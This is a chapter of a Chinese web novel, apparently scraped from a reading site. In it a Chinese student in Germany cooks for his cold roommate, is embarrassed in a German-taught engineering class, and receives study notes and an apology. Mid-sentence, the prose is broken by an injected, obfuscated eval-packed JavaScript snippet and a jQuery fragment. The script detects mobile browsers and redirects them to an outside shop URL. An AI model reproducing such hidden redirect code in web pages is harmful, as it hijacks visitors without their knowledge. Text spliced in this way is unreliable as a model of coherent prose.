默认冷灰
24号文字
方正启体

9. 第九章

作者:呜咛本书字数:K更新时间:
    不管怎么说,温榆的试验成功了。


    纪让礼吃了他做的饭,对他的态度虽算不上急转直变,但挑刺频率大大降低。


    偶然抓到了温榆粗心大意的小辫子也不找人对峙了,最多看不顺眼地皱下眉头,然后自己默默收拾掉。


    温榆简直要喜极而泣。


    柳暗花明,苦尽甘来,宿舍不再是苦熬地,生活终于得见光明。


    唯一不在试验范围内的就是不知道为什么,纪让礼在饭后给他转的钱越来越多,每每还要揽下饭后收拾的活。


    这让温榆非常过意不去,数次强调自己做的饭菜都是最简单的,跟他平时吃的那些大餐不一样,不能对等参考。


    纪让礼当场点头表示理解,转头仍旧一意孤行。


    温榆对此类少爷做派没办法,只能以再加钱就不给做饭为要挟,强行打住了纪让礼单方面的冤大头行为。


    然后花几顿饭钱上网买了德语专业发音课程,特地挑了外网口音地道的名师……咳,这是后话。


    眼下说是顺道做两人份的饭,实际也没有每天都在做,毕竟温榆的日常生活常态就是忙得要死,堆积的事情太多总是处理不完。


    有时候兼职回来晚些,或者当天作业没有完成,就挤不出做饭的时间了,只能啃片干面包就白开水囫囵解决。


    纪让礼对此并没有发表什么意见,或者说他从来没有主动要求过什么。


    温榆提前给他发消息,他就应;回来恰好碰见了,就吃;总而言之就是有可以,没有也没关系。


    所以温榆以为纪让礼也许不见得那么喜欢吃他做的饭,只是单纯觉得方便,不必思考吃什么,也不用打老远去找餐厅。


    就像今天一样。


    虽说是周日,但温榆也不确定自己能不能按时在学完课程后再写完作业,就没有提前给纪让礼发消息。


    晚上八点,两人一前一后回宿舍。


    纪让礼好像只是回来拿个外套,进门后朝冷锅冷灶的厨房看了眼,便步伐不停地回房拿上衣服准备离开。


    温榆正想给他发消息来着,见人又要走,连忙追了两步开口叫住:“哎那个,你等等。”


    纪让礼外套搭在手腕,转头看他。


    “你现在出去,一会儿回来吃晚饭吗?”


    温榆问完想到什么,谨慎再问:“还是你已经吃了晚饭了?”


    纪让礼没有丝毫犹豫地回答“没有”,然后掉步回头一气呵成,将外套随手放在沙发背上,自己也坐了下来。


    温榆:“?”


    温榆茫然:“你不出门了吗?”


    纪让礼低头发消息:“嗯,太晚了。”


    好吧,能够随心所欲真好。


    温榆满心羡慕往厨房去,思衬买回来的茄子是做成炸茄盒还是鱼香茄子。


    纪让礼的手机在发出一条消息后响个不停。


    关成静音后声音没了,但不断跳出的气泡框看起来还是很聒噪。


    莫里茨:【不来了?】


    莫里茨:【真不来了?】


    莫里茨:【我们把餐厅都选好了你不来了?】


    纪让礼:【不少我一个。】


    莫里茨:【少啊怎么不少?】


    莫里茨:【你不知道没你我吃不下饭的吗?】


    莫里茨:【承认吧,你根本不是回宿舍拿外套,你就是想看看你的小室友有没有给你做饭而已!】


    莫里茨:【拿我当B选项。】


    莫里茨:【你这个冷酷无情的讨厌鬼别想我再等你一起吃饭,这是我对你最残酷的惩罚!】


    莫里茨:【除非你让你的小室友也邀请我去吃饭,我才会考虑一下。】


    纪让礼:【吃你的饭,别考虑了。】


    ***


    偶有小事顺遂,温榆便自觉人逢喜事,忘记了生活一向对他吝啬。


    一扇窗朝海通风了,另一扇窗外就势必会建起一座垃圾场。


    口语他在努力学,进度他在努力赶,可还是难免在求知路上磕磕绊绊。


    以及,绊倒的时候被老师看见。


    “温。”大教室里,朱莉老师精准点名:“你来说一说,我刚才问题的答案。”


    前一秒温榆还在用翻译器查询某个专业名词的译意,下一秒听到自己的名字回荡在整个教室,条件反射腾地站起身。


    周围目光逐渐汇聚在他身上,他蜗牛病发作,浑身开始紧绷,一抹带着热度的绯红从脖子迅速蔓延。


    问题他听见了,可是有个德语单词朱莉老师说得太快,他没能听清,也没有勇气询问,只能往发音最相似的猜测,磕磕绊绊回答问题。


    莫里茨在后排靠边的位置,歪着脑袋观察温榆,很快听出他的回答里有明显的错误。


    “朱莉说的是剪应力吧。”


    他用手肘碰了下旁边的纪让礼,努嘴:“他为什么在回答拉伸应力?”


    纪让礼将目光从红温的温榆身上收回,投向讲台上的老师:“你要问我,不如问问朱莉为什么这么执着于在国际课程班用德语授课。”


    温榆答完问题不敢坐下,两只手攥着一支笔,等待老师审判。


    朱莉老师拉直了嘴角接连摇头,一手翻书,一手下压示意他坐下,嘴里含糊说着什么,温榆听不清,但能猜到是在说自己。


    无奈失望的情绪被传递得很清晰,温榆恍惚坐回去,低头直愣愣盯着自己的书,心情沉落谷底。


    后面再讲什么,他始终没有抬头,也没有勇气和周围其他任何人对视。


    时间一到,朱莉做了个下课的手势,他垂着脑袋抱起书本就走,书包拉链上的小狗装饰和主人一样耷拉着耳朵晃来晃去。


    纪让礼注意到他的异常,片刻思考后起身跟上。


    莫里茨还在跟女朋友发消息,感觉身边人影一晃不见了,抬头发现纪让礼已经快出教室,忙不迭抱起书追上去。


    “席勒,你走这么快做什么?”


    “慢点等我一下。”


    “你要赶着去哪里?”


    下了楼,到了教学楼侧面小路口,纪让礼终于停下来,莫里茨手搭在他肩膀上喘气:“出什么事了,你怎么突然——嗯?”


    他发现了里面小路一侧长椅上的温榆,腰板直了些:“小天使,他在那里做什么?走,正好我跟他打个招呼。”


    脚往前迈了两步,被纪让礼勾着衣领拽回来,调转方向:“走了。”


    莫里茨不解:“打招呼啊。”


    纪让礼:“用不着,他现在不想看见你。”


    莫里茨:“为什么?为什么?哎哎为什么你别总是不把话说完。”


    ……


    那条小路往里走是正在翻修的一栋实验楼,能通的路已经封了,基本没人会过来。


    其实再往里走一些会更人迹罕至,但是温榆实在忍不住了,鼻腔里都是酸胀,使他视线模糊不清。


    抹掉的潮湿还是会从眼眶溢出来,索性放任不管,将大脑放空,盯着面前朦胧一片的草坪放空。


    能够这样给他挥霍的时间很拮据,等一切恢复平静,他揉搓着眼睛很快起身,还要去赶晚上的兼职。


    不过今晚的安东尼出人意料的乖巧,没有恶作剧也没有故意闹腾,一直没精打采趴在桌子上,虽然大概也没有在认真听讲。


    温榆提前了几分钟结束今天的课程,临走时发现安东尼还趴着不动,犹豫了下:“你生病了吗?”


    安东尼说:“你才生病。”


    “好吧对不起。”温榆说:“那你怎么了,上学被老师骂了?”


    安东尼冲他翻了个白眼。


    温榆以为自己猜对了,顿时产生一种同病相怜的心情:“没关系,我今天也被老师骂了,我是大学生,比你丢人。”


    安东尼:“你为什么被骂?”


    温榆:“因为我答不上来问题。”


    安东尼:“那你确实丢人。”


    温榆一哽:“难道你可以?”


    安东尼理所当然:“不可以啊,所以我都拒绝回答问题。”


    温榆:“……”


    安东尼戳他手肘:“喂,我爸爸快要回来了,你真不辞职?”


    温榆不明白:“你爸爸回来和我有什么关系?”


    安东尼哼哼两声,又不说话了。


    不说算了,温榆还要回去做晚饭:“我走了喔,你要是不舒服记得跟你妈妈说,要休息的话提前通知我,我当天就不过来了。”


    安东尼:“你以后都别来了。”


    “那不行。”温榆站起来,将自己的椅子塞回桌底下:“你们这边找个兼职太难了,我还要赚生活费的。”


    今晚菜单是肉末豆腐,西兰花炒香菇,还有紫菜蛋花汤,都是不费功夫的家常菜。


    豆腐切块,肉末加料酒生抽和胡椒粉拌匀,豆瓣酱炒出红油再炒肉末,再放进豆腐块,淋上酱汁,熬至汤浓稠,撒上葱花花椒粉,出锅。


    香菇切成小片备用,西兰花撕块焯水备用,蒜末炒香后加入香菇炒软,再放西兰花,加入蚝油,盐,胡椒粉和水淀粉翻炒完成。


    紫菜是在超市买的,看起来和国内的没有什么区别。


    温榆将紫菜泡入清水,另外将锅里的清水煮沸后关火,将鸡蛋液倒进去,再加调味品,香油和葱花调味。


    紫菜捞出攥干水分放进碗里,最后将蛋汤倒入,紫菜蛋花汤完成。


    使用过的厨房暖烘烘,香喷喷的,吸一口,能让人立刻从室外的冷风蹉磨中活过来。


    温榆确认了一下米饭是否已经煮好,将汤碗隔着拧干的抹布端起来准备送上桌,转身却被吓了一跳。


    纪让礼也不知道什么时候来的,就抱着手臂靠在厨房门口看着,安静不出声,温榆一点也没发现。


    “胆子这么小。”纪让礼如是评价,伸手帮他扶住碗底,顺势将整个碗接过来。


    温榆赧然转身去端剩下的菜,出来后正色为自己正名:“我只是专心。”


    纪让礼不置可否:“紫菜不用煮?”


    温榆心想他这是看了多久:“不用,那个就算生吃也可以的。”


    纪让礼点点头:“挺厉害。”


    他口吻很平淡,就像在说白云很白天空很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338122|199262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蓝一样理所当然,然而听得温榆愣神:“什么……?”


    “你很厉害。”


    纪让礼难得愿意重复,并且给出原因:“认识的同龄人里,你是唯一会做饭,而且做得这么好的人。”


    其实温榆因为成长环境和自身性格原因,一直没什么朋友,除了从小的伙伴俞思,几乎没有可以说上话的人,更别说被夸奖。


    但现在有人夸他了。


    而且这个夸他的人不是别人,是曾一度被他认定为冷漠,龟毛,难相处,没礼貌,对自己意见很大的室友。


    诧异之后,温榆的脸又一次唰地红透。


    白天在课上是因为尴尬难堪,现在却是因为受宠若惊。


    唯一共性是都让他手足无措。


    “这,也没有很厉害吧。”


    嘴角止不住要上翘,几度被他强行压下,但亮晶晶的眼神一点也骗不了人:“又不难,学学就会了,很简单的。”


    原来被夸奖是这种感觉,温榆有点飘飘然。


    再去回想朱莉老师对自己失望的眼神,好像都没有白天时那么难过了。


    纪让礼视线从他脸上扫过,没有叫他发现:“谦虚可以,别低估自己,也别太高估其他人。”


    温榆抿着嘴唇喔了声。


    纪让礼:“除了耳朵不太好。”


    温榆睁大眼:“啊?”


    纪让礼用汤勺给自己盛汤:“schubspannung也能听成zugspannung。”


    他的吐词很清晰,发音很精准,温榆立刻明白过来他指的是什么。


    所以他还是猜错了单词。


    朱莉老师的提问有关剪应力,他却牛头不对马嘴地回答了拉伸应力。


    “我当时就是没有听清,觉得发音相近才胡乱猜的。”


    温榆用筷子戳了戳碗里的米饭,喃喃:“没想到还是猜错了。”


    他以为纪让礼会问他既然没听清,为什么当时不直接问,结果又猜错了。


    纪让礼什么也没问,遵循他定下的“食不言”准则安静吃完饭,在温榆洗完澡后交给他两本书,和一份装订起来的A4纸文件。


    温榆不明所以:“这是什么?”


    纪让礼:“书,和一些复印件。”


    温榆一头雾水,捧着沉甸甸一沓回到房间,坐下仔细一翻,才发现这些远没有纪让礼说的那样随便。


    书是他在国内时没有学过的,落后的进度大多都在上面可以找到。


    复印件则全部是手写笔记复印件,英文德文对半开,对温榆来说比看纯德文要轻松很多。


    最关键是笔记的内容从大一一直延伸覆盖到到大四,能复习,更能提前预习。


    温榆不是需要,是需要得不得了。


    完了,他又要情绪不稳定了。


    纪让礼怎么忽然对他这么好,又是夸他,又是给他送资料。


    是看他菜得太可怜?


    还是奖励他做饭很好吃拿这个当小费?


    心情久久无法平复,他将资料合起又打开,抱起又放下,拿起手机给纪让礼发了句【谢谢】,后面跟了三个大大的感叹号。


    发完感觉根本不够,干脆又熟门熟路跑去隔壁敲门,等人开了门,特别诚挚郑重地亲口再次道:“非常感谢!”


    纪让礼在打电话,开门后将手机拿远了些,听完没什么表示,见温榆一直站着不走,才礼尚往来回了句:“不客气。”


    温榆持续输出诚意:“你明天有什么想吃的吗,我给你做,只要能买到材料,什么都可以。”


    纪让礼端详了他两秒:“你该知道我对中餐没有很了解。”


    温榆肯定:“知道。”


    纪让礼:“所以问这个问题之前,你是不是应该先给我一份菜单。”


    温榆醍醐灌顶:“啊,懂了,你等等我,我这就去做!”


    他一脸的单纯好懂,有了计划立刻就要去实践,但才转了个头就被一只手掌盖住头顶,摁在原地。


    纪让礼:“玩笑也能当真。”


    “?”温榆试图在他掌心底下仰头,没成功。


    不过很快那只手掌自己松开了。


    接着不轻不重拨了下温榆的肩头,将他转个向:“之前对你有点误会,算是道歉。”


    “不需要菜单,很晚了,回去睡觉。”


    温榆离开后,纪让礼关上门,将手机重新贴回耳边。


    莫里茨在电话那头意味深长:“你室友给你道什么谢呢,你干什么好事了?”


    纪让礼:“跟你有关系?”


    莫里茨:“我要去吃饭!”


    纪让礼:“不行。”


    莫里茨:“你都不问过温就说不行,也许他会很欢迎我呢!”


    纪让礼:“不会,你少来烦他。”


    莫里茨:“为什么?我不管,你想个办法让他欢迎我。”


    “没办法,”纪让礼:“你变个小猫小狗来,也许他就欢迎了。”


    莫里茨:“?”


    纪让礼:“只要别是个人。”


    莫里茨:“???”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)